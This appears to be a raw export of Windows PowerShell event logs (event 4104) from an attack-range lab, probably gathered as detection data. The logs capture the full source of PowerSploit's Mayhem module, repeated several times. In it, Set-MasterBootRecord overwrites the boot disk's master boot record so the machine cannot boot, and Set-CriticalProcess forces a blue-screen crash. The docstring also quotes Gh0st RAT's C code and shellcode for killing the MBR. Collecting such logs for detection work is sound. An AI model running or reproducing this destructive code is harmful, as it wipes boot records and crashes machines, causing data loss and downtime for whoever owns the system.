0) $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) $null = $Kernel32::CloseHandle($DriveHandle) Start-Sleep -Seconds 2 [Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes) Write-Verbose 'Master boot record overwritten successfully.' if ($RebootImmediately) { Restart-Computer -Force } } function Set-CriticalProcess { <# .SYNOPSIS Causes your machine to blue screen upon exiting PowerShell. PowerSploit Function: Set-CriticalProcess Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .PARAMETER ExitImmediately Immediately exit PowerShell after successfully marking the process as critical. .PARAMETER Force Set the running PowerShell process as critical without asking for confirmation. .EXAMPLE Set-CriticalProcess .EXAMPLE Set-CriticalProcess -ExitImmediately .EXAMPLE Set-CriticalProcess -Force -Verbose #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( [Switch] $Force, [Switch] $ExitImmediately ) if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.' } $Response = $True if (!$Force) { $Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.') } if (!$Response) { return } $DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False) # Define [ntdll]::NtQuerySystemInformation method $TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class') $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess', 'ntdll.dll', ([Reflection.MethodAttributes] 'Public, Static'), [Reflection.CallingConventions]::Standard, [Int32], [Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $ntdll = $TypeBuilder.CreateType() $ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle $ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4) $ProcessBreakOnTermination = 29 $SizeUInt32 = 4 try { $null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32) } catch { return } Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.' if ($ExitImmediately) { Stop-Process -Id $PID } } a455a017-2db4-4502-ad88-0c75c3ae73e1C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Mayhem\Mayhem.psm1",,4104,122439,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,1,1,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Mayhem\Mayhem.psm1",,,"'5388'",,,,,,122439,,,,"a455a017-2db4-4502-ad88-0c75c3ae73e1","function Set-MasterBootRecord { <# .SYNOPSIS Proof of concept code that overwrites the master boot record with the message of your choice. PowerSploit Function: Set-MasterBootRecord Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Set-MasterBootRecord is proof of concept code designed to show that it is possible with PowerShell to overwrite the MBR. This technique was taken from a public malware sample. This script is inteded solely as proof of concept code. .PARAMETER BootMessage Specifies the message that will be displayed upon making your computer a brick. .PARAMETER RebootImmediately Reboot the machine immediately upon overwriting the MBR. .PARAMETER Force Suppress the warning prompt. .EXAMPLE Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC' .NOTES Obviously, this will only work if you have a master boot record to overwrite. This won't work if you have a GPT (GUID partition table). This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us): // CGh0stApp message handlers unsigned char scode[] = ""\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"" ""\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"" ""\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29""; int CGh0stApp::KillMBR() { HANDLE hDevice; DWORD dwBytesWritten, dwBytesReturned; BYTE pMBR[512] = {0}; // ????MBR memcpy(pMBR, scode, sizeof(scode) - 1); pMBR[510] = 0x55; pMBR[511] = 0xAA; hDevice = CreateFile ( ""\\\\.\\PHYSICALDRIVE0"", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); if (hDevice == INVALID_HANDLE_VALUE) return -1; DeviceIoControl ( hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NUL ) // ?????? WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); DeviceIoControl ( hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL ); CloseHandle(hDevice); ExitProcess(-1); return 0; } #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( [ValidateLength(1, 479)] [String] $BootMessage = 'Stop-Crying; Get-NewHardDrive', [Switch] $RebootImmediately, [Switch] $Force ) if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) { throw 'This script must be executed from an elevated command prompt.' } if (!$Force) { if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.')) { return } } #region define P/Invoke types dynamically $DynAssembly = New-Object System.Reflection.AssemblyName('Win32') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False) $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class') $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('kernel32.dll'), [Reflection.FieldInfo[]]@($SetLastError), @($True)) # Define [Win32.Kernel32]::DeviceIoControl $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) # Define [Win32.Kernel32]::CreateFile $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Ansi) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) # Define [Win32.Kernel32]::WriteFile $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Ansi) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) # Define [Win32.Kernel32]::CloseHandle $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) $Kernel32 = $TypeBuilder.CreateType() #endregion $LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5))) # Convert the boot message to a byte array $MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage)) [Byte[]] $MBRInfectionCode = @( 0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode 0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color 0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color 0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20 0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length 0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters 0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White 0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string 0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer ) + $MessageBytes $MBRSize = [UInt32] 512 if ($MBRInfectionCode.Length -gt ($MBRSize - 2)) { throw ""The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes."" } # Allocate 512 bytes for the MBR $MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize) # Zero-initialize the allocated unmanaged memory 0..511 | ForEach-Object { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) } [Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length) # Write boot record signature to the end of the MBR [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55) [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA) # Get the device ID of the boot disk $DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID $GENERIC_READWRITE = 0x80000000 -bor 0x40000000 $FILE_SHARE_READWRITE = 2 -bor 1 $OPEN_EXISTING = 3 # Obtain a read handle to the raw disk $DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0) if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF)) { throw ""Unable to obtain read/write handle to $DeviceID"" } $BytesReturned = [UInt32] 0 $BytesWritten = [UInt32] 0 $FSCTL_LOCK_VOLUME = 0x00090018 $FSCTL_UNLOCK_VOLUME = 0x0009001C $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) $null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0) $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) $null = $Kernel32::CloseHandle($DriveHandle) Start-Sleep -Seconds 2 [Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes) Write-Verbose 'Master boot record overwritten successfully.' if ($RebootImmediately) { Restart-Computer -Force } } function Set-CriticalProcess { <# .SYNOPSIS Causes your machine to blue screen upon exiting PowerShell. PowerSploit Function: Set-CriticalProcess Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .PARAMETER ExitImmediately Immediately exit PowerShell after successfully marking the process as critical. .PARAMETER Force Set the running PowerShell process as critical without asking for confirmation. .EXAMPLE Set-CriticalProcess .EXAMPLE Set-CriticalProcess -ExitImmediately .EXAMPLE Set-CriticalProcess -Force -Verbose #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( [Switch] $Force, [Switch] $ExitImmediately ) if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.' } $Response = $True if (!$Force) { $Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.') } if (!$Response) { return } $DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False) # Define [ntdll]::NtQuerySystemInformation method $TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class') $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess', 'ntdll.dll', ([Reflection.MethodAttributes] 'Public, Static'), [Reflection.CallingConventions]::Standard, [Int32], [Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $ntdll = $TypeBuilder.CreateType() $ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle $ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4) $ProcessBreakOnTermination = 29 $SizeUInt32 = 4 try { $null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32) } catch { return } Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.' if ($ExitImmediately) { Stop-Process -Id $PID } }",,,,,,,,,,,"'2022-05-02T18:24:38.090522600Z'","4104132150x0122439Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122439Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function Set-MasterBootRecord { <# .SYNOPSIS Proof of concept code that overwrites the master boot record with the message of your choice. PowerSploit Function: Set-MasterBootRecord Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Set-MasterBootRecord is proof of concept code designed to show that it is possible with PowerShell to overwrite the MBR. This technique was taken from a public malware sample. This script is inteded solely as proof of concept code. .PARAMETER BootMessage Specifies the message that will be displayed upon making your computer a brick. .PARAMETER RebootImmediately Reboot the machine immediately upon overwriting the MBR. .PARAMETER Force Suppress the warning prompt. .EXAMPLE Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC' .NOTES Obviously, this will only work if you have a master boot record to overwrite. This won't work if you have a GPT (GUID partition table). This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us): // CGh0stApp message handlers unsigned char scode[] = ""\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"" ""\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"" ""\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29""; int CGh0stApp::KillMBR() { HANDLE hDevice; DWORD dwBytesWritten, dwBytesReturned; BYTE pMBR[512] = {0}; // ????MBR memcpy(pMBR, scode, sizeof(scode) - 1); pMBR[510] = 0x55; pMBR[511] = 0xAA; hDevice = CreateFile ( ""\\\\.\\PHYSICALDRIVE0"", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); if (hDevice == INVALID_HANDLE_VALUE) return -1; DeviceIoControl ( hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NUL ) // ?????? WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); DeviceIoControl ( hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL ); CloseHandle(hDevice); ExitProcess(-1); return 0; } #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( [ValidateLength(1, 479)] [String] $BootMessage = 'Stop-Crying; Get-NewHardDrive', [Switch] $RebootImmediately, [Switch] $Force ) if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) { throw 'This script must be executed from an elevated command prompt.' } if (!$Force) { if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.')) { return } } #region define P/Invoke types dynamically $DynAssembly = New-Object System.Reflection.AssemblyName('Win32') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False) $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class') $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('kernel32.dll'), [Reflection.FieldInfo[]]@($SetLastError), @($True)) # Define [Win32.Kernel32]::DeviceIoControl $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) # Define [Win32.Kernel32]::CreateFile $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Ansi) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) # Define [Win32.Kernel32]::WriteFile $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Ansi) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) # Define [Win32.Kernel32]::CloseHandle $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) $Kernel32 = $TypeBuilder.CreateType() #endregion $LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5))) # Convert the boot message to a byte array $MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage)) [Byte[]] $MBRInfectionCode = @( 0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode 0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color 0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color 0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20 0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length 0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters 0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White 0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string 0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer ) + $MessageBytes $MBRSize = [UInt32] 512 if ($MBRInfectionCode.Length -gt ($MBRSize - 2)) { throw ""The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes."" } # Allocate 512 bytes for the MBR $MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize) # Zero-initialize the allocated unmanaged memory 0..511 | ForEach-Object { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) } [Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length) # Write boot record signature to the end of the MBR [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55) [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA) # Get the device ID of the boot disk $DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID $GENERIC_READWRITE = 0x80000000 -bor 0x40000000 $FILE_SHARE_READWRITE = 2 -bor 1 $OPEN_EXISTING = 3 # Obtain a read handle to the raw disk $DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0) if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF)) { throw ""Unable to obtain read/write handle to $DeviceID"" } $BytesReturned = [UInt32] 0 $BytesWritten = [UInt32] 0 $FSCTL_LOCK_VOLUME = 0x00090018 $FSCTL_UNLOCK_VOLUME = 0x0009001C $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) $null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0) $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) $null = $Kernel32::CloseHandle($DriveHandle) Start-Sleep -Seconds 2 [Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes) Write-Verbose 'Master boot record overwritten successfully.' if ($RebootImmediately) { Restart-Computer -Force } } function Set-CriticalProcess { <# .SYNOPSIS Causes your machine to blue screen upon exiting PowerShell. PowerSploit Function: Set-CriticalProcess Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .PARAMETER ExitImmediately Immediately exit PowerShell after successfully marking the process as critical. .PARAMETER Force Set the running PowerShell process as critical without asking for confirmation. .EXAMPLE Set-CriticalProcess .EXAMPLE Set-CriticalProcess -ExitImmediately .EXAMPLE Set-CriticalProcess -Force -Verbose #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( [Switch] $Force, [Switch] $ExitImmediately ) if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.' } $Response = $True if (!$Force) { $Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.') } if (!$Response) { return } $DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False) # Define [ntdll]::NtQuerySystemInformation method $TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class') $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess', 'ntdll.dll', ([Reflection.MethodAttributes] 'Public, Static'), [Reflection.CallingConventions]::Standard, [Int32], [Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $ntdll = $TypeBuilder.CreateType() $ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle $ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4) $ProcessBreakOnTermination = 29 $SizeUInt32 = 4 try { $null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32) } catch { return } Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.' if ($ExitImmediately) { Stop-Process -Id $PID } } a455a017-2db4-4502-ad88-0c75c3ae73e1C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Mayhem\Mayhem.psm1","2022-05-02T18:24:38.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122439,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122439,win,369,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><><><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error track_event_signatures",,,"error track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows" "'{7B7F4240-5E23-0001-6A4A-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"11function Get-VolumeShadowCopy { <# .SYNOPSIS Lists the device paths of all local volume shadow copies. PowerSploit Function: Get-VolumeShadowCopy Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None #> $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) { Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' } Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | ForEach-Object { $_.DeviceObject } } function New-VolumeShadowCopy { <# .SYNOPSIS Creates a new volume shadow copy. PowerSploit Function: New-VolumeShadowCopy Author: Jared Atkinson (@jaredcatkinson) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION New-VolumeShadowCopy creates a volume shadow copy for the specified volume. .PARAMETER Volume Volume used for the shadow copy. This volume is sometimes referred to as the original volume. The Volume parameter can be specified as a volume drive letter, mount point, or volume globally unique identifier (GUID) name. .PARAMETER Context Context that the provider uses when creating the shadow. The default is ""ClientAccessible"". .EXAMPLE New-VolumeShadowCopy -Volume C:\ Description ----------- Creates a new VolumeShadowCopy of the C drive #> Param( [Parameter(Mandatory = $True)] 